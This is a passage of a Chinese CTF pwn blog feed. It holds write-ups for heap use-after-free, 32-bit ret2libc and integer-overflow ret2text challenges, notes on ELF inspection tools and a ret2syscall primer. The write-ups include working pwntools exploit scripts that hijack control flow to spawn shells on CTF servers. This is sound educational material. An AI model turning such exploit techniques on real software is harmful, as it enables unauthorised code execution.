_创建时间：2025-12-13 00:16_</content:encoded></item><item><title>[BJDCTF 2020]YDSneedGirlfriend</title><link>https://goosequill.erina.top/zh-cn/blog/202512102100/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202512102100/</guid><description>[BJDCTF 2020]YDSneedGirlfriend 的导入笔记</description><pubDate>Wed, 10 Dec 2025 13:00:00 GMT</pubDate><content:encoded>&gt; [!note]
&gt; 关联入口：[[PWN题目索引]]
# YDSneedGirlfriend - 题目复盘
&gt; [!info] 题目信息
&gt; - **比赛**：BJDCTF 2020
&gt; - **题目**：YDSneedGirlfriend
&gt; - **难度**：★★★☆☆
&gt; - **保护机制**：全保护
&gt; - **漏洞类型**：UAF
&gt; - **利用技术**：堆利用

## 漏洞分析
本道题对于我这位初学者还是比较烧脑的。。。但我还是理解了，理解后又觉得很简单，所以还是记录一下自己是如何逐步理解和思考的。
本题通过利用 `print_gerlfriend()` 函数直接调用的是 `**(&amp;girlfriendlist + idx))` 而在 `del_girlfriend()` 函数中**只是 free() 并未置空指针！**
这就导致我们可以利用**Use After Free** 漏洞。
这题都没有修改的功能，只能想办法&lt;mark&gt;创造&lt;/mark&gt;修改逻辑。如何创造呢？依靠 fast_bins
假设有这样一条链表：
chunk_struck\[0x20\]   : chunk_B -&gt; chunk_A -&gt; NULL   （这条是结构chunk被释放后存放的fast_bin)
我们知道 `print_gerlfriend()` 会调用以创建的，带有index序号的chunk（即使被free！！！），所以现在在fast_bin上有两个已经被释放的结构chunk，如果我们此时 `add(0x10)` ，malloc机制就会把这两个size = 0x20的chunk给我们使用，注意，此时新的结构chunk_C -&gt; chunk_B(结构) ，而 **数据chunk_C -&gt; chunk_A(结构)**
发现了吗？我们可以修改chunk_A中的函数指针了！此时改为我们的后门函数，当再次 `print_gerlfriend()` 时，就会触发我们的后门函数！
这一部分如果看不懂可以把后面的具体分析看完了，再回来看核心部分。这里贴一张其他师傅wp的图，做的实在太好了
![image](https://www.nssctf.cn/files/2024/6/3/296093a37b.jpg)
## 解题步骤
### ① 静态分析
首先是对 `add()` 函数的深度分析，搞懂chunk的全貌
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102156116.png)
这里我画的很详细，总的来说就是创建了两个chunk，一个可以理解为结构chunk，size = 0x10，分别存 `print_girlfriend_name()`  函数地址，接着存入name的数据chunk地址，size可以自己制定。这里的蓝线代表，这两个chunk是紧挨着的，不过为了展示逻辑线条我画的很分开。但malloc内存管理机制上是紧挨着个（当下情况）
我们再来看看发现漏洞的地方， `del_girlfriend()`
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102211974.png)
事已至此，我们gdb动调一下，看看我们一开始的核心思想在heap上的表现
### ② 动态调试  
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102253517.png)
以上截图是断在了add(chunk_A);add(chunk_B);的地方，接下里我会将两个chunk进行free，关注fast_bins的链表结构
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102309368.png)
现在，可以回顾我们一开始的核心思想了，结合放在开头的图，就能明白这道题是如何利用 **Use After Free** 漏洞的
### ③ 利用开发
```python
from LibcSearcher import*
context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, log_level = &apos;debug&apos;)
context.terminal = [&apos;tmux&apos;,&apos;splitw&apos;,&apos;-h&apos;]
#io = process(&apos;./pwn&apos;)
io = remote(&apos;node4.anna.nssctf.cn&apos;,28485)
s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)
def slog(name, address): io.success(name+&quot;==&gt;&quot;+hex(address))
def debug(): gdb.attach(io)
def add(size,name):
    sla(&quot;:&quot;, &apos;1&apos;)
    sla(&quot; :&quot;, str(size))
    sla(&quot; :&quot;, name)
def delete(index):
    sla(&quot;:&quot;, &apos;2&apos;)
    sla(&quot; :&quot;, str(index))
def show(index):
    sla(&quot;:&quot;, &apos;3&apos;)
    sla(&quot; :&quot;, str(index))
def take(index, content):
    sla(&quot;:\n&quot;, &apos;4&apos;)
    sla(&quot;modify :&quot;, str(index))
    sa(&quot;content\n&quot;, content)
    
backdoor = 0x400baa
add(0x10, &apos;aaaaaaaa&apos;) #chunk_A
add(0x20, &apos;bbbbbbbb&apos;) #chunk_B
delete(0)
delete(1)

add(0x10, p64(backdoor))
show(0)
io.interactive()
```
### ④ 最终利用
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102312135.png)

## 工具使用
IDA,pwngdb

## 关键收获
### 技术洞察
这是我做的第二道堆题，就目前感受来讲，要认真分析 `add()` 函数是如何添加堆块的，而且对于这种喜欢把函数指针放到堆块中的，也要注意 `del()` 函数是否置空指针， `show()` 函数是否直接调用该处的函数指针，这都是很危险的行为。
### 踩坑记录
前面没有详细讲 `print_gerlfriend()` 函数，这里仔细研究一下吧，算是我第一见识。
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102319244.png)
重点看`(**(&amp;girlfriendlist + idx))(*(&amp;girlfriendlist + idx));`
按照 C 语言规则：
- `*(&amp;girlfriendlist + idx)` 解引用 → `girlfriendlist[idx]` → chunk 指针
- `**(&amp;girlfriendlist + idx)` 再解引用 → `(chunk)[0]` → 函数指针
- 调用方式为 `func(chunk)` → RDI = chunk

所以传的是“结构体自身指针”。
这里我一开始疑惑，明明name_data的指针在紧邻的下一位存放着，为什么(&amp;girlfriendlist + idx) 后不继续 +8呢？
其实这里，逻辑写在了函数内部，去看看 `print_girlfriend_name` 就一目了然了
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512102323584.png)

### 模式识别
`del()` 函数存在置空行为
## 关联题目
暂无
## 扩展思考
这道题比较死，也没有给 `edit()` 函数，无法通过堆溢出去实现修改函数指针，所以没什么其他的思路了

---

_创建时间：2025-12-10 21:02_</content:encoded></item><item><title>[NISACTF 2022]ezstack</title><link>https://goosequill.erina.top/zh-cn/blog/202512031953/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202512031953/</guid><description>[NISACTF 2022]ezstack 的导入笔记</description><pubDate>Wed, 03 Dec 2025 11:53:00 GMT</pubDate><content:encoded>&gt; [!note]
&gt; 关联入口：[[PWN题目索引]]
&lt;progress value=&quot;100&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
# ezstack - 题目复盘

&gt; [!info] 题目信息
&gt; - **比赛**：NISACTF
&gt; - **题目**：ezstack
&gt; - **难度**：★★☆☆☆
&gt; - **保护机制**：NX
&gt; - **漏洞类型**：栈溢出
&gt; - **利用技术**：ret2libc
&gt; - **架构**：x86-32位

前言：
这是一个32位程序，所以与64位程序有着不小的区别。对于pwn而言，在写exp时需要注意的就是函数调用约定的不同。这里读者可以自行搜索相关资源学习，如果真的不清楚，文字是很难讲清楚这件事的。我这里推荐一个b站的视频，不过时长有些感人，但我觉得作为pwn手，你要具备吃苦的品质。
[# XMCVE 2020 CTF Pwn入门课程](https://www.bilibili.com/video/BV1854y1y7Ro/?spm_id_from=333.1391.0.0&amp;p=6&amp;vd_source=99b7a97af87784b45ae3493f30c4b51e) 可以直接看第6集，有讲32位系统的ret2libc技术，老师画了详细的栈帧图讲解，很负责认真。


这道题还是很新手的，本来不打算做复盘笔记，但由于这道题解决了我一个对于call指令的“误解”，所以在此记录个人的领悟心得。
## 漏洞分析
`.data段` 存在 `bin/sh` 因此，可以通过构造栈帧，将该参数传入 `system()` ，实现获取终端的效果。
栈帧通过 `shell()` 函数溢出构造ROP
## 解题步骤
### ① 静态分析
这里我画了详细的栈帧图，配合文字，相信读者能够理解我的意思。
&lt;font color=&quot;#a5a5a5&quot;&gt;（ps：图片中rbp有误，应为ebp）&lt;/font&gt;
![longshot20251203213148.jpg|929](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512032132691.jpg)
左侧的栈帧图是截止到 `0x50A` 的地方，右侧的栈帧图不完整，只画了 `0x51D ~ 0x52A` 关键部分的栈帧
先看左侧，简单计算一下，可以得出： $$60h - 48h = 18h = 24$$
由于是32位程序，所以 `save_ebp` 占4字节，呢么我们可操作空间为 20 字节 ｜ 5操作位（这个名字是我起的）
我们的ROP也就是在这5个操作位上搭建的，思路已经分析过了，在这里我想先讲一下call，也就是我右侧的栈帧图，后面会提供两种 exp，用的方法有细微的区别，但很重要！

这里我们将注意力放到 `0x525 call _read` 。
call指令等价于：
push next_rip    ;下一条指令
jmp 函数地址     ;这里就是read@plt地址
看右侧栈帧图前三部分，这都是 call 指令之前的三个压栈指令 对应read() 函数的三个参数（由于32位参数放在栈上），所以第四个位置，放入的是 `add_esp 10h` 这正是 `call _read` 的下一条指令！
也正是由于这个特性，在32位调用约定下，所有函数的第一个参数都是上移2个距离的位置保存，这点很重要。

### ② 动态调试  
这里给大家动调一下看看右侧的栈帧在 `pwngdb` 中的体现：
emmm调试的过程中，我发现了一个小小的问题。就是32位程序，ebp指针是不动的，这里由于本人学识有限，可能我想错了，但确实在步入（si） `call _read()` 内部，并没有 `push ebp` 
![image.png|921](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512032325210.png)
这里我能力有限无法解答这个问题，但我前4条栈帧都是分析对的，只有第五条栈帧是在我意料之外的：
![image.png|907](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512032330135.png)
然后这里我遇到了一开始无法gdb程序，需要设置两条参数，还有后续的步骤我都放在这里，读者可以逐行复制运行
```bash
set follow-fork-mode parent  #GDB 不会跟进 child 的 exec
set follow-exec-mode parent
delete     #删除所有断点
b *0x8048525     # call _read() 
r
s                # 步入函数内部
stack 30
```
### ③ 利用开发
第一种，使用 `call _system` gadget来调用
```python
from pwn import *
# io = remote(&apos;node5.anna.nssctf.cn&apos;,27166)
io = process(&apos;./pwn&apos;)
context.log_level = &quot;debug&quot;
call_system = 0x8048512
binsh_addr = 0x804A024

payload = b&apos;a&apos; * (0x48 + 4)
payload += p32(call_system)
payload += p32(binsh_addr)

io.sendlineafter(b&apos;Welcome to NISACTF\n&apos;,payload)
io.interactive()
```
第二种，使用 `system@plt` gadget来调用，二者有着细微的差别！我只录入了中间不一样的部分：
```python
....
elf = ELF(&apos;./pwn&apos;)
system_plt = elf.symble[&apos;system&apos;]
binsh_addr = 0x804A024

payload = b&apos;a&apos; * (0x48 + 4)
payload += p32(system_plt)
paylaod += p32(1)     # &lt;----这里不一样！
paylaod += p32(binsh_addr)
....
```

### ④ 最终利用



## 工具使用
pwndbg,IDA
## 关键收获
搞清楚 `call` libc的函数与直接调用 `plt` 表中libc地址的区别
### 技术洞察
其实这道题出简单了，正常来讲应该不给 `bin/sh` 字符串的，会给你一个可写地址让你自己写入该 `buf` 再传入 `system()` 栈帧如下：

### 踩坑记录
可能我过于啰嗦了，但我还是想呈现清楚这之间的区别。这里附上我修改后的AI回答，但更加全面和细致。
我们分析如下payload 的栈帧：
```
payload += p32(A情况：system@plt || B情况：call_system)
paylaod += p32(1)     
paylaod += p32(binsh_addr)
```
我们来深入剖析一下想法。核心疑问在于：**为什么我们通常用 `system` 的 PLT 地址，而不是直接跳回到代码段里的 `call system` 指令？**
这里有一个非常微小但致命的区别，在于 `call` 指令本身的行为。
让我们来模拟一下这两种情况。
#### 1. `call` 指令到底做了什么？
在 x86 汇编中，`call address` 实际上等价于两个动作的组合：
1. **`push next_eip`**：把紧接着 `call` 指令后面的那条指令的地址（也就是原本函数执行完 `system` 后该回来的地方）压入栈顶。
2. **`jmp address`**：跳转到目标函数。

#### 2. 场景对比
假设 `padding`（你预留的返回地址位置）是 `0xdeadbeef`（无意义数据），`/bin/sh` 的地址是 `0x0804A024`。
##### ✅ 场景 A：标准的 Ret2Libc (跳向 PLT)
我们将 Return Address 覆盖为 `system` 的 PLT 地址。 **栈的布局（在 `system` 函数刚开始执行的那一瞬间）：**

|相对位置|内容|解释|
|---|---|---|
|`ESP + 8`|...|...|
|`ESP + 4`|**0x0804A024** (`/bin/sh`)|**参数 1**：`system` 向这里看参数|
|`ESP`|**0xdeadbeef** (padding)|**返回地址**：`system` 以为这是它的返回地址|

👉 `system` 也就是去读 `[ESP + 4]`，成功拿到了 `/bin/sh`。

---

##### ❌ 场景 B：你的方案 (跳向 `call system` 指令)
你构造的 Payload 顺序：`ret_gadget` -&gt; `0x8048512` (call指令地址) -&gt; `padding` -&gt; `bin/sh`。
我们来一步步执行：
1. **执行 `ret` gadget**：
    - `pop eip`：EIP 变为 `0x8048512`。

    - `ESP` **向下移动**，现在指向了 `padding`。        
2. **执行 `0x8048512` (`call _system`)**：
    - ⚠️ **关键动作**：`call` 指令首先会把**原本代码中** `call` 后面那条指令的地址（即 `0x8048517`）**压入栈中**。

    - `ESP` **向上移动** 4字节（指向了新压入的 `0x8048517`）。        
    - 跳转到 `system`。
**栈的布局（在 `system` 函数刚开始执行的那一瞬间）：**

|相对位置|内容|解释|
|---|---|---|
|`ESP + 8`|**0x0804A024** (`/bin/sh`)|在这里|
|`ESP + 4`|**0xdeadbeef** (padding)|**参数 1**：😱 `system` 读取到了 padding！|
|`ESP`|**0x8048517** (原代码返回地址)|**返回地址**：`call` 自动压入的|

看到了吗？因为 `call` 指令**多压入了一个返回地址**，导致栈上的数据整体“错位”了一个格。
### 模式识别



## 关联题目



## 扩展思考
无

---

_创建时间：2025-12-03 19:55_</content:encoded></item><item><title>二进制文件信息收集工具</title><link>https://goosequill.erina.top/zh-cn/blog/202512020527/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202512020527/</guid><description>二进制文件信息收集工具 的导入笔记</description><pubDate>Tue, 02 Dec 2025 14:05:00 GMT</pubDate><content:encoded>##  二进制文件信息收集工具
&lt;progress value=&quot;50&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
## 概述
工欲善其事，必先利其器。在二进制代码分析的过程中，需要借助一些工具来收集二进制代码的信息。
本文章用于记录一些查看二进制文件信息的工具，均为命令行使用。会收录的有： `nm` , `ldd` , `strings` , `ps` , `strace` , `ltrace` , `ROPgadget` , `objdump` , `readelf` 等，主要记录一些可能用到的参数还有回显信息的说明。
## 工具列表
### nm
`nm` 用于查看二进制文件中的符号表（包括函数、全局变量、未定义符号等）。在漏洞利用、逆向分析中，可用于查找函数地址、判断符号是否被 strip、分析链接情况等。
#### 常用参数
- `nm &lt;file&gt;`  
    查看文件的符号表（默认只看 **符号名称 + 类型 + 地址**）。
- `nm -D &lt;file&gt;`  
    查看 **动态符号表**（.dynsym），适用于 ELF 动态库和动态链接执行文件。
- `nm -g &lt;file&gt;` 
    只显示 **全局符号（global symbols）**。
- `nm -a &lt;file&gt;`  
    显示所有符号，包括调试符号（debug）。
- `nm -S &lt;file&gt;`  
    显示符号大小（Size 字段）。
- `nm -u &lt;file&gt;`  
    只显示 **未定义符号**（undefined symbols），通常是动态链接依赖项。
- `nm --no-sort &lt;file&gt;`  
    按符号原始顺序输出（不根据地址排序）。

#### 常见符号类型说明
`nm` 输出的第二列是符号类型（section type），常见含义如下：
![image.png|579](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512022258833.png)

| 字母        | 含义                                    |
| --------- | ------------------------------------- |
| **T / t** | Text 段（代码段）中的符号（T = global，t = local） |
| **D / d** | Data 段中的符号                            |
| **B / b** | BSS 段（未初始化数据）符号                       |
| **R / r** | 只读数据段符号                               |
| **U**     | Undefined symbol（未定义符号，需要外部库解析）       |
| **W / w** | Weak symbol（弱符号）                      |
| **A**     | Absolute symbol（绝对符号，地址不随链接变化）        |
| **V / v** | Weak object（弱对象）                      |

&gt; 在 PWN 中，最常用的是：  
&gt; **T/t**：找函数位置  
&gt; **U**：判断链接依赖  
&gt; **B/D**：分析全局变量与 GOT/数据结构位置

### ldd
`ldd` 用于查看一个 ELF 可执行文件在运行时会加载哪些 **共享库（shared libraries）**，以及每个库被解析到的实际路径与基址（加载地址）。在漏洞利用中，&lt;font color=&quot;#e36c09&quot;&gt;用于确定 libc 版本、检查是否使用自定义 loader、判断是否存在可控的库劫持场景。&lt;/font&gt;

#### 常用参数
- `ldd &lt;file&gt;`  
    查看 ELF 运行时的动态库依赖列表，是最常用的形式。
- `LD_TRACE_LOADED_OBJECTS=1 &lt;file&gt;`  
    与 `ldd` 等效，&lt;span style=&quot;background:#fdbfff&quot;&gt;但不会真正运行目标程序，更安全。&lt;/span&gt;

&gt; ⚠️ **注意：** 在某些情况下，`ldd &lt;file&gt;` 会实际“执行” ELF 文件的初始化逻辑，因此对恶意样本使用时需谨慎。  
&gt; 推荐使用：
&gt; `LD_TRACE_LOADED_OBJECTS=1 ./可执行文件

#### 回显样例与说明
```bash
$ ldd ./pwn         
linux-vdso.so.1 (0x00007fffffffe000)         
libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a0d000)         
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd0000)
```
字段含义：
- `linux-vdso.so.1`：虚拟动态共享对象，由内核提供，非真实文件
- `libc.so.6 =&gt; /lib/.../libc.so.6`  
    动态库的实际解析路径
- `(0x00007ffff7a0d000)`  
    运行时加载基址（ASLR 影响下每次启动随机）

#### 在 PWN 中常见用途
- **确认 libc 版本**  
    漏洞利用中必须知道 libc 的版本以匹配正确偏移。

- **确认程序是否使用自带 libc**  
    如    
    `libc.so.6 =&gt; ./libc-2.31.so`
    表明程序目录中放了专用 libc（题目常见）。
- **检查程序的 loader/动态链接器**
    `[Requesting program interpreter: ./ld-2.31.so]`
    → 搭配 `readelf -l` (后面会提到）进一步确认。
- **调试路径问题**  
    当出现 &quot;not found&quot; 时可用于分析如 `LD_LIBRARY_PATH` 配置错误。
    
- **库劫持（Library Hijacking）分析**  
    可判断是否有机会利用 RPATH、RUNPATH、LD_PRELOAD 做利用。
    

#### 常见异常提示
1. **not found**
    `libmylib.so =&gt; not found`
    表示系统无法解析该库，通常是路径问题。
    
2. **statically linked**
    `not a dynamic executable`
    表示 ELF 使用&lt;mark style=&quot;background: #fa5d19;&quot;&gt;静态链接&lt;/mark&gt;（如 musl 编译），无法通过 ldd 查看依赖。
### strings
`strings` 用于从二进制文件中提取可打印字符串（ASCII/UTF-8），包括程序文本字面量、日志、命令、路径、格式化字符串等。在漏洞利用中常用于**快速定位**关键函数名、调试信息、敏感路径与 flag 线索。
#### 常用参数
- `strings &lt;file&gt;`  
    从整个文件中扫描可打印字符串，最常用形式。
- `strings -n &lt;num&gt;`  
    设置最短字符串长度（默认 4）。  
    如：`strings -n 3 a.out`
- `strings -d &lt;file&gt;`  
    仅从 **数据段（data section）** 提取字符串。
- `strings -e &lt;enc&gt;`  
    指定编码（如 s=7bit, S=8bit, b=big-endian, l=little-endian）。
- `strings -t x &lt;file&gt;`  
    在输出前显示字符串在文件中的偏移（十六进制）。  
    常用于&lt;span style=&quot;background:#d2cbff&quot;&gt;配合逆向&lt;/span&gt;定位字符串位置。

#### 常见输出类型说明
`strings` 能提取的信息包含但不限于：

|字符串类型|示例|用途|
|---|---|---|
|调试信息|`&quot;Enter password:&quot;`|快速定位逻辑点|
|路径|`&quot;/bin/sh&quot;`|RCE / system 利用线索|
|格式化字符串|`&quot;%p %s %n&quot;`|格式化字符串漏洞判断|
|错误/日志|`&quot;invalid length&quot;`|对照逆向流程|
|链接库名称|`&quot;GLIBC_2.31&quot;`|识别 libc 版本|
|编译器信息|`&quot;GCC: (Ubuntu 9.4.0-1)&quot;`|判断比赛环境|

#### 示例输出说明
```bash
$ strings ./pwn
/bin/sh
Enter your input:
Correct!
GLIBC_2.31
puts
system
```
解析：
- `/bin/sh` → 若程序中出现此字符串，可能存在 system(&quot;/bin/sh&quot;) 相关调用
- `Enter your input:` → 程序 I/O 流，与行为对应
- `GLIBC_2.31` → **libc 版本特征**（极重要）
- `puts`、`system` → 动态链接符号名，可配合泄露构造 ROP

#### PWN 中常见用途
- **寻找 &quot;/bin/sh&quot; 字符串**  
    在 ROP 漏洞里用于查找 libc 或二进制中自带的 `/bin/sh` 偏移。
- **判断可能的危险 API 调用**  
    如：`system`, `sprintf`, `strcpy`, `gets` 等 → 暗示潜在漏洞点。
- **查找格式化字符串漏洞证据**  
    如输出 `&quot;%x&quot;`、`&quot;%p&quot;`、`&quot;%n&quot;` 则可进一步分析。
- **快速定位逻辑流程**  
    通过 `&quot;Wrong password&quot;`、`&quot;Try again&quot;` 等字符串判断程序行为。
- **确认 libc 版本特征**  
    若输出出现大量 `GLIBC_2.xx` 字符串，可用于锁定 libc 版本。
- **辅助逆向**  
    对应字符串 → 用 IDA/objdump 反查引用处，定位关键函数。
### readelf
`readelf` 是读取 ELF 格式信息最全面、最专业的工具之一，直接解析 ELF 结构，不依赖系统环境。相比 `objdump`，`readelf` 更偏向数据显示，输出更精确、更适合二进制分析。

常用于查看：段表、节表、动态信息、符号表、重定位表、程序头、解释器（loader）等。

---

#### 常用参数

- `readelf -h &lt;file&gt;`  
    查看 ELF 文件头（ELF 类型、架构、入口地址等）。
    
- `readelf -l &lt;file&gt;`  
    查看 **Program Headers（程序头）**，包括加载地址、动态段、interpreter 信息。
    
- `readelf -S &lt;file&gt;`  
    查看 **节表（Section Headers）**，可用于定位 .text/.data/.got/.plt 等。
    
- `readelf -s &lt;file&gt;`  
    查看符号表（动态符号 + 静态符号）。
    
- `readelf -r &lt;file&gt;`  
    查看重定位表（ROP 学习必备），如 `.rela.plt`。
    
- `readelf -d &lt;file&gt;`  
    查看动态段（DT_NEEDED、RPATH、RUNPATH、SONAME 等）。
    
- `readelf -a &lt;file&gt;`  
    输出全部信息。

---

#### 回显内容说明（重点字段）
##### 1. ELF header (`-h`)
```
Entry point address:               0x401080
Type:                              EXEC (Executable file)
Machine:                           Advanced Micro Devices X86-64
```
- 入口地址（可能用于 ret2text）
- ELF 类型（EXEC / DYN → PIE 判断）
- 架构（64bit/32bit）
判断是否开启 PIE：

```
Type:    DYN → PIE 开启
Type:    EXEC → PIE 关闭
```

---

##### 2. Program Headers (`-l`)

```
LOAD           0x000000 0x400000 0x400000 0x2000 ...
INTERP         /lib64/ld-linux-x86-64.so.2
DYNAMIC        0x401dd0 ...
GNU_RELRO      0x401000 ...
```
重点字段：
- **INTERP**：显示 loader（ld.so）  
    → 配合 ldd 确认是否自带加载器
- **LOAD**：加载段地址，反应内存布局  
    → ret2text 需关注可执行段起始地址
- **GNU_RELRO / GNU_STACK**：  
    → 判断保护：RELRO、NX、STACK 开启情况
##### 3. Section Headers (`-S`)
主要用于定位关键节：
```
.text     可执行代码区域
.data     可写数据
.bss      未初始化变量
.plt      Procedure Linkage Table
.got      Global Offset Table
.got.plt  延迟绑定 GOT
.init_array 程序启动时调用（构造函数）
.fini_array 程序退出时调用（析构函数）
```
在 PWN 中：
- `.plt` 用于 ROP 调用 puts/printf 等函数
- `.got` 用于泄露地址（GOT overwrite）
- `.fini_array` 用于控制程序执行流--&gt; [[[CISCN 2019西南]PWN1]]
##### 4. 符号表 (`-s`)
示例：
```
0000000000401030  system@plt
0000000000401040  puts@plt
0000000000404020  __libc_start_main
```
用途：
- 找函数真实/plt 位置
- 确定是否导出某些函数（如没有 system@plt → ret2libc 必须泄露 libc）
- 逆向查找函数名

静态编译文件会在这里看到大量符号。
##### 5. 动态段 (`-d`)
示例：
```
(NEEDED)             Shared library: [libc.so.6]
(RPATH)              Library rpath: [/home/pwn/lib]
(INTERP)             Program interpreter: ./ld-2.31.so
```
PWN 用途：
- **判断程序依赖的库**（与 ldd 对照）
- 能否利用 RPATH/RUNPATH 劫持库
- 是否使用自定义 loader（某些题目会用 `./ld-2.xx.so`）
##### 6. 重定位表 (`-r`)
```
000000404018  R_X86_64_JUMP_SLOT   puts@GLIBC_2.2.5
```
PWN 用途：
- `.rela.plt`/`.plt.got` → 延迟绑定机制分析
- 了解 GOT 结构用于泄露 libc 地址
#### 在 PWN 中的常见用途（总结版）
- **判断 PIE / NX / RELRO 等保护**  
    （ELF header + Program headers）
    
- **定位 GOT / PLT**  
    用于 ret2plt / 泄露地址
    
- **查看 loader（interpreter）**  
    判断是否需要自带 ld 调试
    
- **确认动态库依赖、RPATH/RUNPATH**  
    用于库劫持利用
    
- **查看符号表**  
    判断可直接 ROP 的函数（如 system@plt 是否存在）
    
- **定位入口点、段偏移、代码布局**  
    用于构造攻击 payload</content:encoded></item><item><title>[SWPUCTF 2023 秋季新生赛]buy</title><link>https://goosequill.erina.top/zh-cn/blog/202512011910/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202512011910/</guid><description>[SWPUCTF 2023 秋季新生赛]buy 的导入笔记</description><pubDate>Mon, 01 Dec 2025 11:10:00 GMT</pubDate><content:encoded>&gt; [!note]
&gt; 关联入口：[[PWN题目索引]]
&lt;progress value=&quot;100&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
# buy - 题目复盘
&gt; [!info] 题目信息
&gt; - **比赛**：SWPUCTF 新生赛
&gt; - **题目**：buy
&gt; - **难度**：★★☆☆☆
&gt; - **保护机制**：NX
&gt; - **漏洞类型**：整数溢出 / 栈溢出
&gt; - **利用技术**：ret2text

## 漏洞分析
简单题，程序仍保留符号信息，整体思路是顺着函数逻辑过程序，发现一个函数名为 `door()` 函数，点开发现 `read(0,&amp;a,0x1000)` 栈溢出。后续就是寻找如何进入 `door()` 函数。

## 解题步骤
### ① 静态分析
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512011921853.png)
图片信息已经很详尽了，在此不赘述。
注意到②地方，先 `mov eax cs:key` 再test比较的，所以我们要想办法让key不等于0即可与运算后ZF标志位为0，跳转红线。
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512011929200.png)
这里直接看 `food()` 函数的反汇编代码吧。首先我对程序的业务逻辑很疑惑🤔，我输入的正数结果你 `money = money*(5-v1)` 你还限制 `v1 &lt; 3` ???意思是我买东西后直接给我加钱？（正常输入下）
反正很反逻辑，如果是这样都不需要整数溢出，直接多来几次就行了。
吐槽完毕，这里可以发现使用的是 int类型，因此输入负数可以快速加钱，全局变量 `money` 初始值为1000，这里刷到1万就好了。
接下来我们看 `door()` 函数：
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512011949645.png)
这里和简单题不一样的是，buf并不合rsp在同一位置。具体栈帧如图所示。
至此，只需要再找到 `ret2text` 中需要跳转到调用终端的函数即可。
作者也是放水放的离谱 `mygift()` 函数里就存着
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512011952714.png)

### ② 动态调试  
无需动调

### ③ 利用开发
关于栈对齐，后面会讲。exp代码如下
```python
from pwn import *
io = remote(&apos;node4.anna.nssctf.cn&apos;,28291)
io.sendlineafter(b&apos;your choice:&apos;,b&apos;1&apos;)
io.sendlineafter(b&apos;what do you want?&apos;,b&apos;1&apos;)
io.sendlineafter(b&apos;How many?&apos;,b&apos;-100&apos;)
io.sendlineafter(b&apos;your choice:&apos;,b&apos;2&apos;)
io.sendlineafter(b&apos;what do you want?&apos;,b&apos;1&apos;)
io.sendlineafter(b&apos;How many?&apos;,b&apos;1&apos;)

io.recv()
payload = b&apos;a&apos; * 18
payload += p64(0x40155A)  #ret_addr
payload += p64(0x401544)  #mygift_addr
io.sendline(payload)
io.interactive()
```
### ④ 最终利用
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202512011954008.png)

## 工具使用
IDA
## 关键收获
### 技术洞察
需要学会利用交叉引用功能
### 踩坑记录
这里为新手讲解下栈对齐：
算了我目前还讲不清楚，慢慢探索吧，记住以后在调用 `system()` 函数时如果不通过就试试栈对齐，加一个 `ret` 

### 模式识别
购物不对数量进行负数检测导致的业务漏洞，进而提权，扩大利用范围。
## 关联题目
比[[[CISCN 2023 初赛]烧烤摊儿]]简单，但前期利用思路都一样。
## 扩展思考
无

---

_创建时间：2025-12-01 19:10_</content:encoded></item><item><title>ret2system</title><link>https://goosequill.erina.top/zh-cn/blog/202511301655/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511301655/</guid><description>ret2system 的导入笔记</description><pubDate>Sun, 30 Nov 2025 07:16:00 GMT</pubDate><content:encoded>## ret2syscall 利用笔记（适用于 x86_64 Linux）


### 基本概念
ret2syscall 是一种 ROP 技术，通过控制寄存器后触发 `syscall` 指令，直接调用 Linux 内核提供的系统调用。
常见用途：
- 调用 `execve(&quot;/bin/sh&quot;, 0, 0)` 获取 shell

- 调用 `open/read/write` 实现读文件    
- 有时用于退出程序（exit）

ret2syscall 的优势是：  
**不需要 libc，不需要 system，只需要程序里存在 syscall 指令。**
### syscall 调用约定（x86_64）
Linux 下系统调用通过以下寄存器传参：

|功能|寄存器|
|---|---|
|系统调用号|rax|
|第 1 个参数|rdi|
|第 2 个参数|rsi|
|第 3 个参数|rdx|
|第 4 个参数|r10|
|第 5 个参数|r8|
|第 6 个参数|r9|

触发系统调用必须执行：
```
syscall
```
常见 syscall ID：

|系统调用|号|
|---|---|
|execve|59|
|open|2|
|read|0|
|write|1|

最常见的是构造：
```bash
execve(&quot;/bin/sh&quot;, 0, 0)
```
对应寄存器：
```bash
rax = 59
rdi = &quot;/bin/sh&quot; 地址
rsi = 0
rdx = 0
syscall
```
### 查找 syscall gadget
程序中常出现类似：
```
0x401234: syscall
```
来自：
- 错误处理 stub
- plt 中的 __libc_start_main 
- 手动编写的汇编段

查找方式：
```
ROPgadget --binary ./pwn | grep syscall
```
或 IDA 中搜索：

```
text:0000000000402404    syscall
```

通常我们只需要 syscall 指令本身即可，因为 rax/rdi/rsi/rdx 用其它 gadgets 设置。

